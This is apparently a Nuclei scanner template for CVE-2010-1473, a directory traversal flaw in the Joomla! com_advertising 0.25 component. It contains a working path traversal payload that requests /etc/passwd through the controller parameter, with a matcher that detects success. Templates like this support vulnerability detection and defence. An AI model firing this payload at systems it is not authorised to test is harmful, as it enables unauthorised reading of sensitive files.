id: CVE-2010-1473

info:
  name: Joomla! Component Advertising 0.25 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12171
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1473
    - http://packetstormsecurity.org/1004-exploits/joomlaeasyadbanner-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1473
    cwe-id: CWE-22
    epss-score: 0.08163
    epss-percentile: 0.94129
    cpe: cpe:2.3:a:johnmccollum:com_advertising:0.25:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: johnmccollum
    product: com_advertising
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,johnmccollum,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022027965b975b187afef19f8fb2b687c294d52d4c0eca8325a4e4265ee7396edacc02207d10c1e105199387cb39ce2c0fb542684a1104672133e9d54428e1bac59f867b:922c64590222798bb761d5b6d8e72950